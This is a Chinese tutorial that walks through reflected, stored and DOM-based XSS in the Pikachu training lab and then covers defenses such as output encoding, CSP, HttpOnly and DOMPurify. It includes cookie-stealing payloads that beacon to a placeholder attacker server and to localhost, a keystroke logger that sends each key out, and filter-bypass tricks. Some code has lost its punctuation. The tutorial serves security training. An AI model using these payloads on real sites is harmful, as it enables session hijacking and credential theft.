1. 从靶场环境说起为什么选这个平台练手搞Web安全的人手里没几个练手靶场是说不过去的。Pikachu这个靶场在国内安全圈子里知名度很高它把常见的Web漏洞类型都做成了独立的模块每个模块都有明确的攻击目标和预期结果。我当初选它来练XSS原因很简单它的XSS模块分了三类——反射型、存储型、DOM型每类都有完整的输入输出链路不像有些靶场只给一个孤零零的输入框打完就完了根本不知道实际场景里怎么用。XSS跨站脚本攻击这个漏洞说白了就是攻击者往页面里塞了一段浏览器能执行的脚本其他用户访问这个页面时脚本就在他们的浏览器里跑起来了。听起来好像没什么大不了但实际危害可以很大——窃取Cookie、伪造操作、挂马、钓鱼甚至配合其他漏洞拿下服务器。Pikachu的XSS模块把这些攻击路径都做了简化让你能专注在漏洞原理和利用手法上不用花时间搭环境。这篇文章适合谁看如果你刚接触Web安全知道XSS这个词但没实际打过或者你打过CTF里的XSS题但不知道真实场景里怎么利用——那这篇内容就是给你准备的。我会从环境搭建开始把三类XSS的完整攻击流程走一遍包括每一步为什么这么做、参数怎么构造、遇到问题怎么排查。所有操作都在Pikachu靶场里完成不涉及任何真实目标。注意本文所有操作均在本地搭建的Pikachu靶场环境中进行仅用于安全技术学习。任何未经授权的攻击行为都是违法的请务必遵守相关法律法规。2. 环境搭建与靶场部署实操2.1 基础环境选型与安装Pikachu是基于PHPMySQL开发的所以最省事的部署方式就是用集成环境。我试过几种方案最后固定在phpStudy上原因是它切换PHP版本方便Pikachu有些模块对PHP版本有要求用phpStudy可以快速调整。具体步骤是这样的先去phpStudy官网下载最新版本安装过程一路下一步就行。安装完成后启动Apache和MySQL服务然后在网站根目录下新建一个文件夹叫pikachu把下载好的Pikachu源码解压进去。源码可以在GitHub上搜到直接clone或者下载zip包都行。接下来是数据库配置。Pikachu的数据库配置文件在inc/config.inc.php里你需要根据自己MySQL的实际配置修改数据库地址、用户名和密码。默认情况下phpStudy的MySQL用户名是root密码也是root端口3306。改完配置文件后浏览器访问http://localhost/pikachu/install.php按照提示一步步初始化数据库。初始化完成后用默认账号admin/123456登录就能看到完整的靶场界面了。这里有个细节要注意如果你的80端口被占用了phpStudy启动Apache会失败。解决办法是在phpStudy的设置里把Apache端口改成8080或者其他空闲端口然后访问的时候加上端口号就行。我一开始就踩过这个坑折腾了半天以为是源码问题结果就是端口冲突。2.2 XSS模块的入口与功能分布登录Pikachu后左侧菜单栏里找到“XSS”分类下面有三个子模块反射型XSS、存储型XSS、DOM型XSS。每个模块点进去后页面会显示一个简单的表单或者留言板这就是我们的攻击入口。反射型XSS的页面是一个输入框你输入什么它就显示什么典型的“输入即输出”场景。存储型XSS是一个留言板你提交的内容会被存到数据库里刷新页面或者其他人访问时都会显示。DOM型XSS则是一个下拉选择框选择不同的选项会触发前端JavaScript改变页面内容。这三个模块的设计意图很明确反射型对应的是那些把用户输入直接拼接到HTML里返回的场景比如搜索框、错误提示页存储型对应的是论坛、评论、用户资料这类会把数据持久化的场景DOM型对应的是前端JavaScript直接操作DOM导致的问题比如innerHTML、document.write这类操作。实操心得建议先把三个模块的源码都看一遍Pikachu的代码写得很直白没有复杂的框架封装你能清楚地看到输入是怎么被处理的、输出是怎么被拼接的。看懂源码再打比盲目试payload效率高得多。3. 反射型XSS的攻击链路拆解3.1 漏洞原理与代码审计反射型XSS的核心问题是后端把用户输入的内容直接拼接到HTML响应里没有做任何转义或过滤。浏览器收到响应后把这段内容当作HTML解析如果里面包含script标签就会执行里面的JavaScript代码。打开Pikachu反射型XSS模块的源码文件核心代码大概长这样$html ; if(isset($_GET[submit])){ $html $_GET[message]; echo p.$html./p; }你看$_GET[message]直接就被拼接到p标签里输出了没有任何htmlspecialchars()之类的转义函数。这意味着如果我输入scriptalert(1)/script最终输出的HTML就是pscriptalert(1)/script/p浏览器解析到script标签就会执行alert(1)。这就是反射型XSS的典型特征payload在URL参数里服务器原样返回浏览器执行。它不存储在任何地方所以叫“反射型”——像镜子一样你输入什么就反射什么。3.2 基础payload构造与验证最简单的验证payload就是scriptalert(1)/script。在输入框里输入这段代码点击提交如果弹出一个显示“1”的对话框说明漏洞存在。但实际场景里alert(1)只是验证漏洞存在真正有危害的是窃取用户数据。比如窃取Cookie的payloadscriptnew Image().srchttp://攻击者服务器/steal.php?cdocument.cookie;/script这段代码会创建一个Image对象把当前页面的Cookie作为参数发送到攻击者控制的服务器。攻击者只需要在服务器上放一个简单的PHP脚本接收并记录这个Cookie就能拿到受害者的会话凭证。在Pikachu靶场里你可以把攻击者服务器换成本地的一个简单HTTP服务来验证。比如用Python起一个python3 -m http.server 8888然后把payload里的地址改成http://127.0.0.1:8888/steal?c提交后查看Python的访问日志就能看到Cookie被传过来了。注意实际攻击中攻击者会把这个带有payload的URL伪装成正常链接通过钓鱼邮件、论坛帖子等方式诱导受害者点击。受害者点击后浏览器执行脚本Cookie就被偷走了。3.3 绕过简单过滤的技巧Pikachu的反射型XSS模块默认没有过滤但实际场景里往往会有一些简单的防护措施。我整理了几种常见的绕过手法在靶场里可以手动加上过滤规则来模拟练习。第一种是大小写混合。有些过滤只检查小写的script那你可以用Script或者SCRIPT来绕过。第二种是使用其他标签比如img srcx onerroralert(1)这个payload不依赖script标签而是利用图片加载失败时触发的onerror事件来执行代码。第三种是编码绕过比如把编码成%3C把编码成%3E有些过滤只检查原始字符解码后就绕过了。在Pikachu里练习的时候你可以自己在源码里加一个简单的str_replace过滤然后尝试用上面的方法绕过。这种“自己加规则自己绕”的练习方式比直接打无过滤的靶场收获大得多。4. 存储型XSS的持久化攻击4.1 与反射型的本质区别存储型XSS和反射型最大的区别在于payload被存到了数据库里所有访问这个页面的用户都会中招。反射型需要诱导受害者点击特定URL存储型不需要——只要受害者访问了被注入的页面脚本就会执行。Pikachu的存储型XSS模块是一个留言板。你提交的留言会被存到数据库然后页面从数据库读取留言并显示。如果留言内容没有经过转义就输出到HTML里存储型XSS就成立了。看源码的话核心逻辑大概是// 提交留言 $message $_POST[message]; $sql INSERT INTO messages (content) VALUES ($message); // 显示留言 $result mysqli_query($conn, SELECT content FROM messages); while($row mysqli_fetch_assoc($result)){ echo div.$row[content]./div; }问题出在显示的时候$row[content]直接拼接到div里没有转义。所以如果你提交的留言是scriptalert(document.cookie)/script这段代码会被存到数据库每次页面加载时都会执行。4.2 完整攻击流程演示在Pikachu存储型XSS模块里我在留言框输入以下payloadscript var img new Image(); img.src http://127.0.0.1:8888/log?cookie encodeURIComponent(document.cookie); /script提交后页面刷新留言显示出来。同时Python的HTTP服务日志里出现了请求记录Cookie被成功传出来了。这里有个细节encodeURIComponent是必须的因为Cookie里可能包含特殊字符直接拼接到URL里会导致请求失败。编码后服务端收到的是编码过的字符串解码就能还原。存储型XSS的危害比反射型大得多因为它不需要诱导点击只要用户访问了被注入的页面就会中招。在实际场景里论坛、博客评论、用户昵称、个人签名这些地方都是存储型XSS的高发区。4.3 存储型XSS的进阶利用除了窃取Cookie存储型XSS还可以用来做更多事情。比如键盘记录注入一段JavaScript监听用户的键盘输入把输入内容发送到攻击者服务器。再比如钓鱼注入一个伪造的登录表单覆盖在页面原有内容上诱导用户输入账号密码。在Pikachu靶场里你可以尝试注入一段键盘记录脚本script document.onkeypress function(e){ var key String.fromCharCode(e.which); new Image().src http://127.0.0.1:8888/key?k key; } /script这段代码会记录用户在页面上的每一次按键并发送到攻击者服务器。虽然Pikachu的留言板页面没什么敏感输入但这个技术本身在实际攻击中非常危险。实操心得存储型XSS的payload要尽量短小精悍因为有些场景对输入长度有限制。我习惯把核心逻辑压缩成一行比如scriptnew Image().srchttp://x/?document.cookie/script这样即使有长度限制也能塞进去。5. DOM型XSS的前端视角5.1 DOM型XSS的独特之处DOM型XSS和前两种有本质区别它的漏洞点不在后端而在前端JavaScript代码里。后端可能做了完善的过滤和转义但前端JavaScript在操作DOM时把不可信的数据当作HTML插入了导致XSS。Pikachu的DOM型XSS模块是一个下拉选择框选择不同的选项会触发JavaScript改变页面内容。看源码的话核心逻辑大概是var choice document.getElementById(choice).value; document.getElementById(content).innerHTML 你选择的是 choice;问题出在innerHTML上。innerHTML会把字符串当作HTML解析如果字符串里包含script或者事件处理器就会被执行。而innerText或者textContent则不会它们只把内容当作纯文本。5.2 利用手法与payload构造在Pikachu的DOM型XSS模块里下拉框的选项是固定的但你可以通过修改URL参数或者直接在控制台里操作来注入payload。比如在浏览器控制台里执行document.getElementById(choice).value img srcx onerroralert(1); document.getElementById(choice).dispatchEvent(new Event(change));这段代码把下拉框的值改成payload然后手动触发change事件页面就会执行alert(1)。实际场景里DOM型XSS的入口往往是URL的hash部分或者查询参数。比如有些页面会用location.hash来动态改变内容攻击者可以构造一个带有payload的URL诱导受害者点击。因为hash部分不会发送到服务器所以服务端的日志和WAF都看不到隐蔽性很强。5.3 前端安全编码的注意事项要防御DOM型XSS核心原则是永远不要把不可信的数据用innerHTML、document.write、eval这些方法处理。如果确实需要动态改变内容用textContent或者innerText它们不会解析HTML标签。如果必须插入HTML那就用DOMPurify这类库做净化处理。DOMPurify会过滤掉所有危险的标签和属性只保留安全的HTML。我在实际项目里用过这个库配置简单效果很好。另外现代前端框架比如React、Vue默认会对插值做转义但如果你用了dangerouslySetInnerHTMLReact或者v-htmlVue那就等于主动打开了XSS的大门。用这些API的时候一定要确保数据来源可信或者先做净化。注意DOM型XSS的排查不能只看后端代码必须结合前端JavaScript一起审计。很多开发团队后端安全做得很到位但前端代码里一个innerHTML就把防线撕开了。6. 常见问题与排查技巧实录6.1 payload不执行的原因排查打XSS的时候最常遇到的问题就是payload提交了但没弹窗。我整理了一个排查清单按顺序检查基本能定位问题。问题现象可能原因排查方法页面显示payload原文被转义了查看页面源码看是否变成了lt;页面空白或报错payload破坏了HTML结构检查标签是否闭合尝试用img srcx onerroralert(1)弹窗没出现但代码在源码里浏览器拦截了查看控制台是否有CSP报错存储型提交后不显示数据库写入失败检查数据库连接和字段长度限制DOM型修改后没反应事件没触发手动dispatchEvent或者刷新页面最常见的情况是被转义了。比如你输入scriptalert(1)/script页面源码里显示的是lt;scriptgt;alert(1)lt;/scriptgt;说明后端用了htmlspecialchars()。这时候要么找绕过方法要么换其他注入点。6.2 浏览器安全机制的影响现代浏览器有一些内置的安全机制会影响XSS的利用。比如Chrome的XSS Auditor虽然现在已经移除了会拦截反射型XSSCSP内容安全策略会限制脚本的执行来源。在Pikachu靶场里练习的时候如果遇到payload不执行可以先打开浏览器的开发者工具看Console里有没有报错。如果是CSP拦截报错信息会明确告诉你哪个指令阻止了脚本执行。另外Cookie的HttpOnly属性也会影响Cookie窃取。如果目标站点的Cookie设置了HttpOnlyJavaScript就读取不到document.cookie窃取Cookie的payload就失效了。这时候可以转向其他利用方式比如伪造操作、键盘记录、钓鱼表单。6.3 靶场练习的进阶建议Pikachu的XSS模块打完一遍之后建议做两件事第一自己给靶场加上过滤规则然后尝试绕过。比如加一个str_replace把script替换成空字符串然后试试用img srcx onerroralert(1)绕过。第二去分析真实开源项目里的XSS漏洞看看别人是怎么发现和利用的。我个人的经验是XSS的难点不在payload构造而在注入点的发现和绕过过滤。payload网上到处都是但找到一个能注入的点、判断它有没有过滤、构造出能绕过的payload这才是真正考验功底的地方。实操心得建议养成一个习惯——看到输入框就测一下scriptalert(1)/script看到URL参数就试试改成scriptalert(1)/script看到前端JavaScript操作DOM就看看有没有innerHTML。这些条件反射式的检查在实际工作中能帮你快速定位问题。7. 防御思路与安全编码实践7.1 输出编码是第一道防线防御XSS最有效的手段就是输出编码。核心原则是根据输出位置选择合适的编码方式。如果数据要输出到HTML标签之间用HTML实体编码如果输出到HTML属性里用属性编码如果输出到JavaScript里用JavaScript编码如果输出到URL里用URL编码。PHP里用htmlspecialchars($str, ENT_QUOTES, UTF-8)就能完成HTML实体编码把变成lt;变成gt;变成quot;变成#039;。这样浏览器就不会把用户输入当作HTML解析了。Java里可以用StringEscapeUtils.escapeHtml4()Python里可以用html.escape()原理都一样。关键是养成习惯任何输出到页面的用户数据都必须经过编码。7.2 输入验证与白名单策略输出编码是根本但输入验证也能加一层防护。输入验证的核心是白名单只允许符合预期格式的输入通过其他一律拒绝。比如用户名只允许字母和数字邮箱必须符合邮箱格式年龄必须是数字。白名单比黑名单安全得多因为黑名单永远列不全所有可能的攻击向量。你封了script攻击者可以用img onerror你封了onerror攻击者可以用onload你封了事件处理器攻击者可以用javascript:伪协议。黑名单是堵不完的白名单才是正道。7.3 CSP与HttpOnly的辅助作用CSP内容安全策略是一个HTTP响应头可以限制页面能加载哪些资源、能执行哪些脚本。比如设置Content-Security-Policy: script-src self页面就只能执行同源的脚本内联脚本和外部恶意脚本都会被阻止。HttpOnly是Cookie的一个属性设置后JavaScript就读取不到这个Cookie。这样即使XSS漏洞存在攻击者也没法通过document.cookie窃取会话凭证。不过HttpOnly只保护Cookie不能阻止XSS的其他危害比如伪造操作、键盘记录。CSP和HttpOnly都是纵深防御的一部分不能替代输出编码但能在出问题的时候降低危害。我在实际项目里会建议开发团队至少把CSP和HttpOnly加上成本低效果明显。注意CSP配置不当反而会影响正常功能建议先在报告模式下运行一段时间观察有没有误拦截确认没问题再切换到强制模式。8. 从靶场到实战的思维转变Pikachu靶场里的XSS模块设计得很纯粹输入输出链路清晰没有干扰因素。但真实场景远比靶场复杂有WAF、有CSP、有前端框架的自动转义、有各种编码和过滤。在靶场里打一遍掌握的是原理和基本手法要真正能在实战中发现问题还需要大量的代码审计和漏洞挖掘练习。我个人的体会是XSS的防御比攻击更难。攻击只需要找到一个突破口防御却要覆盖所有输出点。一个大型项目里可能有几百个输出点漏掉一个就可能出问题。所以防御XSS不能靠人肉检查必须靠框架和规范——用安全的模板引擎、统一的输出编码函数、自动化的CSP配置把安全做成默认行为而不是依赖开发者的安全意识。最后分享一个小技巧在浏览器里装一个XSS检测插件比如XSS Helper或者类似工具它会在你提交表单时自动尝试各种payload帮你快速判断有没有注入点。不过插件只是辅助真正的判断还是要靠你自己的分析。